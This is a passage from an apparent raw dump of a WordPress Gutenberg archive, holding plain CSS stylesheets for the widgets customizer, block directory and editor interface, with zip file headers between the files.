  background:#f0f0f1;
  border-bottom:1px solid #e0e0e0;
  display:flex;
  justify-content:flex-end;
  margin:-15px -12px 0;
  z-index:8;
}
@media (min-width:600px){
  .customize-widgets-header{
    margin-bottom:44px;
  }
}
.customize-widgets-header.is-fixed-toolbar-active{
  margin-bottom:0;
}

.customize-widgets-header-toolbar{
  align-items:center;
  border:none;
  display:flex;
  width:100%;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{
  border-radius:2px;
  color:#fff;
  height:32px;
  margin:12px 0 12px auto;
  min-width:32px;
  padding:0;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{
  content:none;
}
@media not (prefers-reduced-motion){
  .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed svg{
  transform:rotate(45deg);
}
.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{
  margin-left:-12px;
}

#customize-sidebar-outer-content{
  min-width:100%;
  width:auto;
}

#customize-outer-theme-controls .widgets-inserter{
  padding:0;
}
#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{
  display:none;
}

.customize-widgets-layout__inserter-panel{
  background:#fff;
}

.customize-widgets-layout__inserter-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  display:flex;
  height:46px;
  justify-content:space-between;
  padding:16px;
}
.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{
  margin:0;
}

.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{
  background:#fff;
}

.customize-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.customize-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{
  position:fixed !important;
  z-index:7;
}

.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{
  position:fixed !important;
}

.customize-widgets-welcome-guide__image__wrapper{
  background:#00a0d2;
  margin-bottom:8px;
  text-align:center;
}
.customize-widgets-welcome-guide__image{
  height:auto;
}
.wrap .customize-widgets-welcome-guide__heading{
  font-size:18px;
  font-weight:600;
}
.customize-widgets-welcome-guide__text{
  line-height:1.7;
}
.customize-widgets-welcome-guide__button{
  justify-content:center;
  margin:1em 0;
  width:100%;
}
.customize-widgets-welcome-guide__separator{
  margin:1em 0;
}
.customize-widgets-welcome-guide__more-info{
  line-height:1.4;
}

#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{
  background-color:#fff;
  min-height:100%;
  padding-top:12px !important;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{
  overflow:unset;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{
  margin-top:-12px !important;
  position:static !important;
  width:unset !important;
}

.components-modal__screen-overlay{
  z-index:999999;
}

.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{
  box-sizing:border-box;
}
.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{
  box-sizing:inherit;
}PK1Xd[��D�LL&dist/block-directory/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings>span{display:flex}.block-directory-block-ratings svg{fill:#1e1e1e;margin-right:-4px}.block-directory-block-ratings .block-directory-block-ratings__star-empty{fill:#ccc}.block-directory-compact-list{list-style:none;margin:0}.block-directory-compact-list__item{align-items:center;display:flex;flex-direction:row;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-right:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-icon{border:1px solid #ddd;height:54px;min-width:54px;vertical-align:middle;width:54px}.block-directory-downloadable-block-list-item{appearance:none;background:none;border:0;display:grid;grid-template-columns:auto 1fr;height:auto;margin:0;padding:12px;position:relative;text-align:right;width:100%}.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{margin-top:4px}@media not (prefers-reduced-motion){.block-directory-downloadable-block-list-item{transition:box-shadow .1s linear}}.block-directory-downloadable-block-list-item:not([aria-disabled=true]){cursor:pointer}.block-directory-downloadable-block-list-item:hover,.block-directory-downloadable-block-list-item[data-focus-visible]{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-directory-downloadable-block-list-item.is-installing .block-directory-downloadable-block-list-item__author{display:none}.block-directory-downloadable-block-list-item__icon{align-self:flex-start;margin-left:16px;position:relative}.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{align-items:center;background:#ffffffbf;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.is-installing .block-directory-downloadable-block-list-item__icon{margin-left:22px}.block-directory-block-ratings{display:block;margin-top:4px}.block-directory-downloadable-block-list-item__details{color:#1e1e1e}.block-directory-downloadable-block-list-item__title{display:block;font-weight:600}.block-directory-downloadable-block-list-item__author{display:block;font-weight:400;margin-top:4px}.block-directory-downloadable-block-list-item__desc{display:block;margin-top:8px}.block-directory-downloadable-block-notice{color:#cc1818;margin:8px 0 0}.block-directory-downloadable-block-notice__content{margin-bottom:8px;padding-left:12px}.block-directory-downloadable-blocks-panel{padding:16px}.block-directory-downloadable-blocks-panel.has-blocks-loading{color:#757575;font-style:normal;margin:112px 0;padding:0;text-align:center}.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{float:inherit}.block-directory-downloadable-blocks-panel__no-local{color:#757575;margin:48px 0;padding:0 64px;text-align:center}.block-directory-downloadable-blocks-panel__title{font-size:14px;margin:0 0 4px}.block-directory-downloadable-blocks-panel__description,.installed-blocks-pre-publish-panel__copy{margin-top:0}PK1Xd[�7��LL"dist/block-directory/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-directory-block-ratings>span{display:flex}.block-directory-block-ratings svg{fill:#1e1e1e;margin-left:-4px}.block-directory-block-ratings .block-directory-block-ratings__star-empty{fill:#ccc}.block-directory-compact-list{list-style:none;margin:0}.block-directory-compact-list__item{align-items:center;display:flex;flex-direction:row;margin-bottom:16px}.block-directory-compact-list__item:last-child{margin-bottom:0}.block-directory-compact-list__item-details{margin-left:8px}.block-directory-compact-list__item-title{font-weight:500}.block-directory-compact-list__item-author{color:#757575;font-size:11px}.block-directory-downloadable-block-icon{border:1px solid #ddd;height:54px;min-width:54px;vertical-align:middle;width:54px}.block-directory-downloadable-block-list-item{appearance:none;background:none;border:0;display:grid;grid-template-columns:auto 1fr;height:auto;margin:0;padding:12px;position:relative;text-align:left;width:100%}.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{margin-top:4px}@media not (prefers-reduced-motion){.block-directory-downloadable-block-list-item{transition:box-shadow .1s linear}}.block-directory-downloadable-block-list-item:not([aria-disabled=true]){cursor:pointer}.block-directory-downloadable-block-list-item:hover,.block-directory-downloadable-block-list-item[data-focus-visible]{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-directory-downloadable-block-list-item.is-installing .block-directory-downloadable-block-list-item__author{display:none}.block-directory-downloadable-block-list-item__icon{align-self:flex-start;margin-right:16px;position:relative}.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{align-items:center;background:#ffffffbf;bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.is-installing .block-directory-downloadable-block-list-item__icon{margin-right:22px}.block-directory-block-ratings{display:block;margin-top:4px}.block-directory-downloadable-block-list-item__details{color:#1e1e1e}.block-directory-downloadable-block-list-item__title{display:block;font-weight:600}.block-directory-downloadable-block-list-item__author{display:block;font-weight:400;margin-top:4px}.block-directory-downloadable-block-list-item__desc{display:block;margin-top:8px}.block-directory-downloadable-block-notice{color:#cc1818;margin:8px 0 0}.block-directory-downloadable-block-notice__content{margin-bottom:8px;padding-right:12px}.block-directory-downloadable-blocks-panel{padding:16px}.block-directory-downloadable-blocks-panel.has-blocks-loading{color:#757575;font-style:normal;margin:112px 0;padding:0;text-align:center}.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{float:inherit}.block-directory-downloadable-blocks-panel__no-local{color:#757575;margin:48px 0;padding:0 64px;text-align:center}.block-directory-downloadable-blocks-panel__title{font-size:14px;margin:0 0 4px}.block-directory-downloadable-blocks-panel__description,.installed-blocks-pre-publish-panel__copy{margin-top:0}PK1Xd[�_��"dist/block-directory/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-directory-block-ratings>span{
  display:flex;
}
.block-directory-block-ratings svg{
  fill:#1e1e1e;
  margin-right:-4px;
}
.block-directory-block-ratings .block-directory-block-ratings__star-empty{
  fill:#ccc;
}

.block-directory-compact-list{
  list-style:none;
  margin:0;
}

.block-directory-compact-list__item{
  align-items:center;
  display:flex;
  flex-direction:row;
  margin-bottom:16px;
}
.block-directory-compact-list__item:last-child{
  margin-bottom:0;
}

.block-directory-compact-list__item-details{
  margin-right:8px;
}

.block-directory-compact-list__item-title{
  font-weight:500;
}

.block-directory-compact-list__item-author{
  color:#757575;
  font-size:11px;
}

.block-directory-downloadable-block-icon{
  border:1px solid #ddd;
  height:54px;
  min-width:54px;
  vertical-align:middle;
  width:54px;
}

.block-directory-downloadable-block-list-item{
  appearance:none;
  background:none;
  border:0;
  display:grid;
  grid-template-columns:auto 1fr;
  height:auto;
  margin:0;
  padding:12px;
  position:relative;
  text-align:right;
  width:100%;
}
.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{
  margin-top:4px;
}
@media not (prefers-reduced-motion){
  .block-directory-downloadable-block-list-item{
    transition:box-shadow .1s linear;
  }
}
.block-directory-downloadable-block-list-item:not([aria-disabled=true]){
  cursor:pointer;
}
.block-directory-downloadable-block-list-item:hover,.block-directory-downloadable-block-list-item[data-focus-visible]{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-directory-downloadable-block-list-item.is-installing .block-directory-downloadable-block-list-item__author{
  display:none;
}

.block-directory-downloadable-block-list-item__icon{
  align-self:flex-start;
  margin-left:16px;
  position:relative;
}
.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{
  align-items:center;
  background:#ffffffbf;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.is-installing .block-directory-downloadable-block-list-item__icon{
  margin-left:22px;
}

.block-directory-block-ratings{
  display:block;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__details{
  color:#1e1e1e;
}

.block-directory-downloadable-block-list-item__title{
  display:block;
  font-weight:600;
}

.block-directory-downloadable-block-list-item__author{
  display:block;
  font-weight:400;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__desc{
  display:block;
  margin-top:8px;
}

.block-directory-downloadable-block-notice{
  color:#cc1818;
  margin:8px 0 0;
}

.block-directory-downloadable-block-notice__content{
  margin-bottom:8px;
  padding-left:12px;
}

.block-directory-downloadable-blocks-panel{
  padding:16px;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading{
  color:#757575;
  font-style:normal;
  margin:112px 0;
  padding:0;
  text-align:center;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{
  float:inherit;
}

.block-directory-downloadable-blocks-panel__no-local{
  color:#757575;
  margin:48px 0;
  padding:0 64px;
  text-align:center;
}

.block-directory-downloadable-blocks-panel__title{
  font-size:14px;
  margin:0 0 4px;
}

.block-directory-downloadable-blocks-panel__description,.installed-blocks-pre-publish-panel__copy{
  margin-top:0;
}PK1Xd[@j�<��dist/block-directory/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-directory-block-ratings>span{
  display:flex;
}
.block-directory-block-ratings svg{
  fill:#1e1e1e;
  margin-left:-4px;
}
.block-directory-block-ratings .block-directory-block-ratings__star-empty{
  fill:#ccc;
}

.block-directory-compact-list{
  list-style:none;
  margin:0;
}

.block-directory-compact-list__item{
  align-items:center;
  display:flex;
  flex-direction:row;
  margin-bottom:16px;
}
.block-directory-compact-list__item:last-child{
  margin-bottom:0;
}

.block-directory-compact-list__item-details{
  margin-left:8px;
}

.block-directory-compact-list__item-title{
  font-weight:500;
}

.block-directory-compact-list__item-author{
  color:#757575;
  font-size:11px;
}

.block-directory-downloadable-block-icon{
  border:1px solid #ddd;
  height:54px;
  min-width:54px;
  vertical-align:middle;
  width:54px;
}

.block-directory-downloadable-block-list-item{
  appearance:none;
  background:none;
  border:0;
  display:grid;
  grid-template-columns:auto 1fr;
  height:auto;
  margin:0;
  padding:12px;
  position:relative;
  text-align:left;
  width:100%;
}
.block-directory-downloadable-block-list-item+.block-directory-downloadable-block-list-item{
  margin-top:4px;
}
@media not (prefers-reduced-motion){
  .block-directory-downloadable-block-list-item{
    transition:box-shadow .1s linear;
  }
}
.block-directory-downloadable-block-list-item:not([aria-disabled=true]){
  cursor:pointer;
}
.block-directory-downloadable-block-list-item:hover,.block-directory-downloadable-block-list-item[data-focus-visible]{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-directory-downloadable-block-list-item.is-installing .block-directory-downloadable-block-list-item__author{
  display:none;
}

.block-directory-downloadable-block-list-item__icon{
  align-self:flex-start;
  margin-right:16px;
  position:relative;
}
.block-directory-downloadable-block-list-item__icon .block-directory-downloadable-block-list-item__spinner{
  align-items:center;
  background:#ffffffbf;
  bottom:0;
  display:flex;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  top:0;
}
.is-installing .block-directory-downloadable-block-list-item__icon{
  margin-right:22px;
}

.block-directory-block-ratings{
  display:block;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__details{
  color:#1e1e1e;
}

.block-directory-downloadable-block-list-item__title{
  display:block;
  font-weight:600;
}

.block-directory-downloadable-block-list-item__author{
  display:block;
  font-weight:400;
  margin-top:4px;
}

.block-directory-downloadable-block-list-item__desc{
  display:block;
  margin-top:8px;
}

.block-directory-downloadable-block-notice{
  color:#cc1818;
  margin:8px 0 0;
}

.block-directory-downloadable-block-notice__content{
  margin-bottom:8px;
  padding-right:12px;
}

.block-directory-downloadable-blocks-panel{
  padding:16px;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading{
  color:#757575;
  font-style:normal;
  margin:112px 0;
  padding:0;
  text-align:center;
}
.block-directory-downloadable-blocks-panel.has-blocks-loading .components-spinner{
  float:inherit;
}

.block-directory-downloadable-blocks-panel__no-local{
  color:#757575;
  margin:48px 0;
  padding:0 64px;
  text-align:center;
}

.block-directory-downloadable-blocks-panel__title{
  font-size:14px;
  margin:0 0 4px;
}

.block-directory-downloadable-blocks-panel__description,.installed-blocks-pre-publish-panel__copy{
  margin-top:0;
}PK1Xd[j-�)����dist/editor/style-rtl.min.cssnu�[���@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.interface-complementary-area-header{background:#fff;gap:4px;padding-left:8px}.interface-complementary-area-header .interface-complementary-area-header__title{margin:0 0 0 auto}.interface-complementary-area{background:#fff;color:#1e1e1e;height:100%;overflow:auto}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{top:0}.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;font-weight:500;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}.interface-complementary-area__fill{height:100%}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none;position:relative}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;position:absolute;right:0;top:0;width:auto;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important}}.interface-interface-skeleton__sidebar{border-top:1px solid #e0e0e0;overflow:hidden}@media (min-width:782px){.interface-interface-skeleton__sidebar{box-shadow:1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__secondary-sidebar{border-top:1px solid #e0e0e0;left:0}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{box-shadow:-1px 0 0 0 rgba(0,0,0,.133);outline:1px solid #0000}}.interface-interface-skeleton__header{box-shadow:0 1px 0 0 rgba(0,0,0,.133);color:#1e1e1e;flex-shrink:0;height:auto;outline:1px solid #0000;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{content:"\f110";font:normal 20px/1 dashicons;margin-left:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{flex-grow:0;flex-shrink:0;height:24px;margin-left:8px;max-width:none;width:24px}.editor-autocompleters__user .editor-autocompleters__user-name{flex-grow:1;flex-shrink:0;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user .editor-autocompleters__user-slug{color:#757575;flex-grow:0;flex-shrink:0;margin-right:8px;max-width:100px;overflow:none;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:var(--wp-admin-theme-color)}.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar){box-shadow:none}.interface-interface-skeleton__sidebar:has(.editor-collab-sidebar) .interface-complementary-area-header{display:none}.editor-collab-sidebar{height:100%}.editor-collab-sidebar-panel{height:100%;padding:16px}.editor-collab-sidebar-panel__thread{background-color:#f0f0f0;border:1.5px solid #ddd;border-radius:8px;margin-bottom:16px;padding:16px;position:relative}.editor-collab-sidebar-panel__active-thread{border:1.5px solid #3858e9}.editor-collab-sidebar-panel__focus-thread{background-color:#fff;border:1.5px solid #3858e9;box-shadow:0 5.5px 7.8px -.3px rgba(0,0,0,.102)}.editor-collab-sidebar-panel__comment-field{flex:1}.editor-collab-sidebar-panel__child-thread{margin-top:15px}.editor-collab-sidebar-panel__user-name{text-transform:capitalize}.editor-collab-sidebar-panel__user-name,.editor-collab-sidebar-panel__user-time{color:#757575;font-size:12px;font-weight:400;line-height:16px;text-align:right}.editor-collab-sidebar-panel__user-comment{color:#1e1e1e;font-size:13px;font-weight:400;line-height:20px;text-align:right}.editor-collab-sidebar-panel__user-comment p{margin-bottom:0}.editor-collab-sidebar-panel__user-avatar{border-radius:50%;flex-shrink:0}.editor-collab-sidebar-panel__thread-overlay{background-color:#000000b3;border-radius:8px;color:#fff;height:100%;padding:15px;position:absolute;right:0;text-align:center;top:0;width:100%;z-index:1}.editor-collab-sidebar-panel__thread-overlay p{margin-bottom:15px}.editor-collab-sidebar-panel__thread-overlay button{color:#fff;padding:4px 10px}.editor-collab-sidebar-panel__comment-status{margin-right:auto}.editor-collab-sidebar-panel__comment-status button.has-icon:not(.has-text){flex-shrink:0;height:24px;min-width:24px;padding:0;width:24px}.editor-collab-sidebar-panel__comment-dropdown-menu{flex-shrink:0}.editor-collab-sidebar-panel__comment-dropdown-menu button.has-icon{height:24px;min-width:24px;padding:0;width:24px}.editor-collab-sidebar-panel__show-more-reply{font-style:italic;font-weight:500;padding:0}.editor-collapsible-block-toolbar{align-items:center;display:flex;height:60px;overflow:hidden}.editor-collapsible-block-toolbar .block-editor-block-contextual-toolbar{background:#0000;border-bottom:0;height:100%}.editor-collapsible-block-toolbar .block-editor-block-toolbar{height:100%;padding-top:15px}.editor-collapsible-block-toolbar .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.editor-collapsible-block-toolbar:after{background-color:#ddd;content:"";height:24px;margin-left:7px;width:1px}.editor-collapsible-block-toolbar .components-toolbar,.editor-collapsible-block-toolbar .components-toolbar-group{border-left:none;position:relative}.editor-collapsible-block-toolbar .components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar:after{background-color:#ddd;content:"";height:24px;left:-1px;position:absolute;top:4px;width:1px}.editor-collapsible-block-toolbar .components-toolbar .components-toolbar-group.components-toolbar-group:after,.editor-collapsible-block-toolbar .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.editor-collapsible-block-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.editor-collapsible-block-toolbar .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{height:40px;position:relative;top:-5px}}.editor-collapsible-block-toolbar.is-collapsed{display:none}.editor-content-only-settings-menu__description{min-width:235px;padding:8px}.editor-blog-title-dropdown__content .components-popover__content{min-width:320px;padding:16px}.editor-document-bar{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:32px;justify-content:space-between;min-width:0;width:min(100%,450px)}.editor-document-bar:hover{background-color:#e0e0e0}.editor-document-bar .components-button{border-radius:4px}@media not (prefers-reduced-motion){.editor-document-bar .components-button{transition:all .1s ease-out}}.editor-document-bar .components-button:hover{background:#e0e0e0}@media screen and (min-width:782px) and (max-width:960px){.editor-document-bar.has-back-button .editor-document-bar__post-type-label{display:none}}.editor-document-bar__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.editor-document-bar__title{color:#1e1e1e;margin:0 auto;max-width:70%;overflow:hidden}@media (min-width:782px){.editor-document-bar__title{padding-right:24px}}.editor-document-bar__title h1{align-items:center;display:flex;font-weight:400;justify-content:center;overflow:hidden;white-space:nowrap}.editor-document-bar__post-title{color:currentColor;flex:1;overflow:hidden;text-overflow:ellipsis}.editor-document-bar__post-type-label{color:#2f2f2f;flex:0;padding-right:4px}@media screen and (max-width:600px){.editor-document-bar__post-type-label{display:none}}.editor-document-bar__shortcut{color:#2f2f2f;display:none;min-width:24px}@media 